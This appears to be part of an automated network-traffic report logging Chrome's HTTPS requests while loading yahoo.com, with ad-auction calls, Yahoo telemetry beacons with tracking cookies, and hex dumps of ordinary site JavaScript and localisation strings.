2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 72 65 63 65 69 76 65 64 22 2c 74 29 29 29 2c 6b 3d 52 28 28 28 7b 73 70 61 63 65 49 64 3a 65 2c 70 61 72 61 6d 73 3a 74 7d 29 3d 3e 28 74 2e 6d 73 67 5f 61 63 74 69 6f 6e 3d 22 6f 70 65 6e 22 2c 45 28 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 65 6e 67 61 67 65 64 22 2c 74 29 29 29 29 2c 78 3d 52 28 28 28 7b 73 70 61 63 65 49 64 3a 65 2c 70 61 72 61 6d 73 3a 74 7d 29 3d 3e 28 74 2e 6d 73 67 5f 61 63 74 69 6f 6e 3d 22 64 69 73 6d 69 73 73 65 64 22 2c 45 28 65 2c 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 5f 65 6e 67 61 67 65 64 22 2c 74 29 29 29 29 2c 55 3d 65 3d 3e 74 3d 3e 74 2e 77 61 69 74 55 6e 74 69 6c 28 72 28 28 66 75 6e 63 74 69 6f 6e 2a 28 29 7b 74 72 79 7b 79 69 65 6c 64 20 65 28 74 29 7d 63 61 74 Data Ascii: e,"notification_received",t))),k=R((({spaceId:e,params:t})=>(t.msg_action="open",E(e,"notification_engaged",t)))),x=R((({spaceId:e,params:t})=>(t.msg_action="dismissed",E(e,"notification_engaged",t)))),U=e=>t=>t.waitUntil(r((function*(){try{yield e(t)}cat
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 87 ce b5 cf 84 ce b5 20 ce bd ce ad ce b5 cf 82 20 ce b5 ce b9 ce b4 ce bf cf 80 ce bf ce b9 ce ae cf 83 ce b5 ce b9 cf 82 22 7d 2c 22 65 73 2d 45 53 22 3a 7b 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3a 22 53 65 72 76 69 63 69 6f 20 6e 6f 20 64 69 73 70 6f 6e 69 62 6c 65 22 2c 22 59 6f 75 20 68 61 76 65 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 54 69 65 6e 65 73 20 6e 6f 74 69 66 69 63 61 63 69 6f 6e 65 73 20 6e 75 65 76 61 73 22 7d 2c 22 65 73 2d 55 53 22 3a 7b 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3a 22 53 65 72 76 69 63 69 6f 20 6e 6f 20 64 69 73 70 6f 6e 69 62 6c 65 22 2c 22 59 6f 75 20 68 61 76 65 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 54 69 65 6e 65 73 20 6e Data Ascii: "},"es-ES":{"Service Unavailable":"Servicio no disponible","You have new notifications":"Tienes notificaciones nuevas"},"es-US":{"Service Unavailable":"Servicio no disponible","You have new notifications":"Tienes n
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 44 65 74 20 66 69 6e 6e 73 20 6e 79 61 20 6d 65 64 64 65 6c 61 6e 64 65 6e 22 7d 2c 22 76 69 2d 56 4e 22 3a 7b 22 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 22 3a 22 44 e1 bb 8b 63 68 20 76 e1 bb a5 20 68 69 e1 bb 87 6e 20 6b 68 c3 b4 6e 67 20 68 6f e1 ba a1 74 20 c4 91 e1 bb 99 6e 67 22 2c 22 59 6f 75 20 68 61 76 65 20 6e 65 77 20 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 3a 22 42 e1 ba a1 6e 20 63 c3 b3 20 74 68 c3 b4 6e 67 20 62 c3 a1 6f 20 6d e1 bb 9b 69 22 7d 7d 3b 63 6f 6e 73 74 20 4c 3d 2f 5e 3a 28 5b 61 2d 7a 5d 29 28 5c 28 28 2e 2b 29 5c 29 29 3f 2f 3b 76 61 72 20 47 3d 28 29 3d 3e 7b 63 6f 6e 73 74 20 65 3d 7b 7d 3b 72 65 74 75 72 6e 7b 75 73 65 28 7b 6c 6f 63 61 6c 65 3a 74 2c 64 65 66 61 Data Ascii: tifications":"Det finns nya meddelanden"},"vi-VN":{"Service Unavailable":"Dch v hin khng hot ng","You have new notifications":"Bn c thng bo mi"}};const L=/^:([a-z])($(.+)$)?/;var G=()=>{const e={};return{use({locale:t,defa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.4	49940	151.101.193.44	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	642	OUT	POST /OpenRTB/TaboolaHB/auction?publisher=1635758 HTTP/1.1 Host: display.bidder.taboola.com Connection: keep-alive Content-Length: 1482 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1482	OUT	Data Raw: 7b 22 69 64 22 3a 22 34 30 34 39 35 32 30 35 30 35 38 32 36 33 36 33 31 37 30 34 39 32 39 32 33 33 34 37 39 22 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 31 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 36 30 30 7d 2c 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 5d 7d 2c 22 74 61 67 69 64 22 3a 22 59 61 68 6f 6f 20 48 6f 6d 65 70 61 67 65 20 2d 20 4d 61 69 6e 20 2d 20 44 65 73 6b 74 6f 70 20 2d 20 54 6f 70 5f 52 69 67 68 74 22 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 30 35 2c 22 62 69 64 66 6c 6f 6f 72 63 75 72 22 3a 22 55 53 44 22 2c 22 65 78 74 22 3a 7b 22 67 70 69 64 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 7d 7d 2c 7b 22 69 64 22 3a 32 2c 22 62 61 Data Ascii: {"id":"40495205058263631704929233479","imp":[{"id":1,"banner":{"format":[{"w":300,"h":600},{"w":300,"h":250}]},"tagid":"Yahoo Homepage - Main - Desktop - Top_Right","bidfloor":0.05,"bidfloorcur":"USD","ext":{"gpid":"us_yhp_main_dt_top_right"}},{"id":2,"ba
2024-01-10 23:27:15 UTC	374	IN	HTTP/1.1 204 No Content Connection: close Server: nginx Content-Type: application/json;charset=utf-8 x-envoy-upstream-service-time: 10 Access-Control-Allow-Origin: https://www.yahoo.com Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:14 GMT Via: 1.1 varnish X-Served-By: cache-ewr18161-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1704929235.977351,VS0,VE13

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.4	49947	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1373	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=2023538075&yhlCT=2&yhlBTMS=1704929233758&yhlClientVer=3.53.38&yhlRnd=VCH1pK4uhNVQTHZU&yhlCompressed=3 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 1660 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	1660	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 37 56 62 66 63 25 32 42 49 32 45 50 35 58 47 44 25 32 46 30 43 59 69 42 63 45 42 6d 25 32 42 6d 41 53 70 30 6b 61 37 6b 49 34 79 46 32 4f 6a 45 61 32 42 64 5a 68 53 7a 70 4a 4e 75 45 79 25 32 46 4f 25 32 46 64 6c 51 6c 4a 6d 72 54 54 39 71 46 50 65 57 4c 33 32 39 56 71 66 33 78 61 38 25 32 42 42 46 79 6a 74 36 38 41 68 74 47 65 25 32 46 49 53 33 34 4e 78 73 46 77 65 4c 6b 57 6f 6a 30 39 44 69 38 50 73 37 41 54 58 68 77 66 6b 69 25 32 46 6d 35 4f 76 70 49 62 66 69 65 74 59 25 32 46 44 5a 66 68 4d 42 69 66 64 75 56 76 4e 25 32 42 6f 32 57 61 39 39 50 67 6f 49 47 77 56 42 38 4d 73 45 41 77 52 42 6c 6c 25 32 42 63 44 34 61 6a Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'7Vbfc%2BI2EP5XGD%2F0CYiBcEBm%2BmASp0ka7kI4yF2OjEa2BdZhSzpJNuEy%2FO%2FdlQlJmrTT9qFPeWL329Vqf3xa8%2BBFyjt68AhtGe%2FIS34NxsFweLkWoj09Di8Ps7ATXhwfki%2Fm5OvpIbfietY%2FDZfhMBifduVvN%2Bo2Wa99PgoIGwVB8MsEAwRBll%2BcD4aj
2024-01-10 23:27:15 UTC	591	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 0 date: Wed, 10 Jan 2024 23:27:14 GMT server: ATS Age: 2 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.4	49945	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	615	OUT	POST /openrtb/pbjs?s=1057986 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 2127 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	2127	OUT	Data Raw: 7b 22 69 64 22 3a 22 39 30 37 35 35 37 31 33 33 35 37 30 30 33 39 38 31 37 30 34 39 32 39 32 33 33 34 38 30 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 72 65 62 69 64 22 2c 22 69 78 64 69 61 67 22 3a 7b 22 6c 73 22 3a 74 72 75 65 2c 22 6d 66 75 22 3a 30 2c 22 62 75 22 3a 35 2c 22 69 75 22 3a 30 2c 22 6e 75 22 3a 30 2c 22 6f 75 22 3a 30 2c 22 61 6c 6c 75 22 3a 35 2c 22 72 65 6e 22 3a 66 61 6c 73 65 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 31 33 2e 30 2d 70 72 65 22 2c 22 75 73 65 72 49 64 73 22 3a 5b 5d 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 76 70 64 22 3a 66 Data Ascii: {"id":"90755713357003981704929233480","site":{"page":"https://www.yahoo.com/"},"ext":{"source":"prebid","ixdiag":{"ls":true,"mfu":0,"bu":5,"iu":0,"nu":0,"ou":0,"allu":5,"ren":false,"version":"8.13.0-pre","userIds":[],"url":"https://www.yahoo.com/","vpd":f
2024-01-10 23:27:15 UTC	891	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:15 GMT Content-Type: application/json Content-Length: 51 Connection: close CF-Ray: 8438b0865a3a0a09-IAD CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:15 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=36fz2i6pr%2BW1ZBhiB5ZU520Hd0k3GZyHcq%2FxbMBEjoZPFxP6hvNGjxL8lYNqfkarmhpJLLrGR6lfLmAVLGVDwKZBQ4ZUSgACUEkNzDrLUgVtk%2F8GgRGlF2%2BbsT1IO%2FcjrwCgblBA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:15 UTC	51	IN	Data Raw: 7b 22 69 64 22 3a 22 39 30 37 35 35 37 31 33 33 35 37 30 30 33 39 38 31 37 30 34 39 32 39 32 33 33 34 38 30 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"90755713357003981704929233480","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.4	49942	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	2019	OUT	POST /p?s=2023538075&t=lmPGlcxtxcdif337,0.3917075940989545&_I=&_AO=0&_NOL=0&_R=&_P=3.53.38%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.38%04A_cn%03VERSIONED-PROD%04test%03drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless%04_bt%03rapid%04A_pr%03https%04A_tzoff%031%04A_sid%036L7ZFHZdY5rW7mNl%04_w%03www.yahoo.com%2F%04_rid%030gast8pipu9uc%04abk%03%04colo%03bf1%04mrkt%03us%04p_sec%03default%04partner%03none%04site%03fp%04uh_vw%030%04pt%03home%04navtype%03server%04ver%03megastrm%04version%03US%04uloc%03AAEBAQJERQIEAMLB3AMEAVnThQQEAMAaoQUEAXjoqQcEACPSTQgEAWVv0QoCVVM%04ns_ready%031901%04dcl_ready%03-4400%04_E%03saready%04_ts%031704929233%04_ms%03669%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:15 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:15 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:15 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.4	49948	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	538	OUT	GET /aaq/wf/wf-tabs-1.12.6-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:15 UTC	866	IN	HTTP/1.1 200 OK x-amz-id-2: Q4rk5CtXKMLr3lnYHW116pBtMhoj8K5YnG4GfOSQmEhSprIjobnVK20CICFyM/GRCk0EhTHibJu9ar5jL1v3ow== x-amz-request-id: XFSNTGZJGG6YW3HB Date: Tue, 09 Jan 2024 17:44:19 GMT Last-Modified: Tue, 15 Mar 2022 07:44:13 GMT ETag: "ff6533febe2f4fb2e2dbaa32b38c5d20" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 9l5UHTD.5HUg6MnfgIovkt0YXJhWC8kn Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 14567 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 106976 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 61 62 73 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 61 62 73 22 5d 3d 65 28 29 3a 28 74 2e 77 61 66 65 72 3d 74 2e 77 61 66 65 72 7c 7c 7b 7d 2c 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 74 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 74 Data Ascii: !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-tabs",[],e):"object"==typeof exports?exports["wafer-tabs"]=e():(t.wafer=t.wafer\|\|{},t.wafer.wafers=t.wafer.wafers\|\|{},t
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 65 26 26 65 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 74 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 65 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 3a 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 2c 65 29 7b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a func
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 69 29 7b 72 65 74 75 72 6e 20 61 26 26 74 28 65 2e 70 72 6f 74 6f 74 79 70 65 2c 61 29 2c 69 26 26 74 28 65 2c 69 29 2c 65 7d 7d 28 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 20 74 28 65 2c 61 2c 69 29 7b 6e 75 6c 6c 3d 3d 3d 65 26 26 28 65 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 3b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 61 29 Data Ascii: umerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}return function(e,a,i){return a&&t(e.prototype,a),i&&t(e,i),e}}(),h=function t(e,a,i){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,a)
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 22 29 29 7c 7c 30 2c 79 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 2d 74 69 6d 65 6f 75 74 22 29 29 7c 7c 32 65 33 2c 54 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 75 74 6f 2d 73 77 69 74 63 68 2d 72 6f 74 61 74 69 6f 6e 2d 69 6e 74 65 72 76 61 6c 22 29 29 7c 7c 30 2c 5f 3d 4e 75 6d 62 65 72 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 61 63 74 69 76 65 2d 69 6e 64 65 78 22 29 29 7c 7c 28 68 3f 6e 75 6c 6c 3a 30 29 2c 4f 3d 77 28 74 2c 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 45 2b 22 62 6f 75 6e 64 61 72 79 22 29 29 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2c 53 3d 74 2e 67 65 74 Data Ascii: te(E+"auto-switch"))\|\|0,y=Number(t.getAttribute(E+"auto-switch-timeout"))\|\|2e3,T=Number(t.getAttribute(E+"auto-switch-rotation-interval"))\|\|0,_=Number(t.getAttribute(E+"active-index"))\|\|(h?null:0),O=w(t,t.getAttribute(E+"boundary"))\|\|document.body,S=t.get
2024-01-10 23:27:15 UTC	1300	IN	Data Raw: 29 7b 73 5b 74 5d 3d 73 5b 74 5d 2e 62 69 6e 64 28 73 29 7d 29 2c 67 26 26 73 2e 73 65 74 54 69 6d 65 6f 75 74 46 6f 72 54 61 62 43 68 61 6e 67 65 28 29 2c 73 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 2c 73 7d 72 65 74 75 72 6e 20 73 28 65 2c 74 29 2c 63 28 65 2c 5b 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 61 3d 74 2e 73 68 6f 75 6c 64 41 75 74 6f 53 77 69 74 63 68 2c 69 3d 74 2e 74 61 72 67 65 74 45 6c 65 6d 3b 61 26 26 28 67 28 69 2c 22 66 6f 63 75 73 69 6e 22 2c 74 68 69 73 2e 68 61 6e 64 6c 65 54 61 72 67 65 74 46 6f 63 75 73 49 6e 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 2c 67 28 69 2c 22 66 6f 63 Data Ascii: ){s[t]=s[t].bind(s)}),g&&s.setTimeoutForTabChange(),s.addEventListeners(),s}return s(e,t),c(e,[{key:"addEventListeners",value:function(){var t=this._util,a=t.shouldAutoSwitch,i=t.targetElem;a&&(g(i,"focusin",this.handleTargetFocusIn,{passive:!1}),g(i,"foc
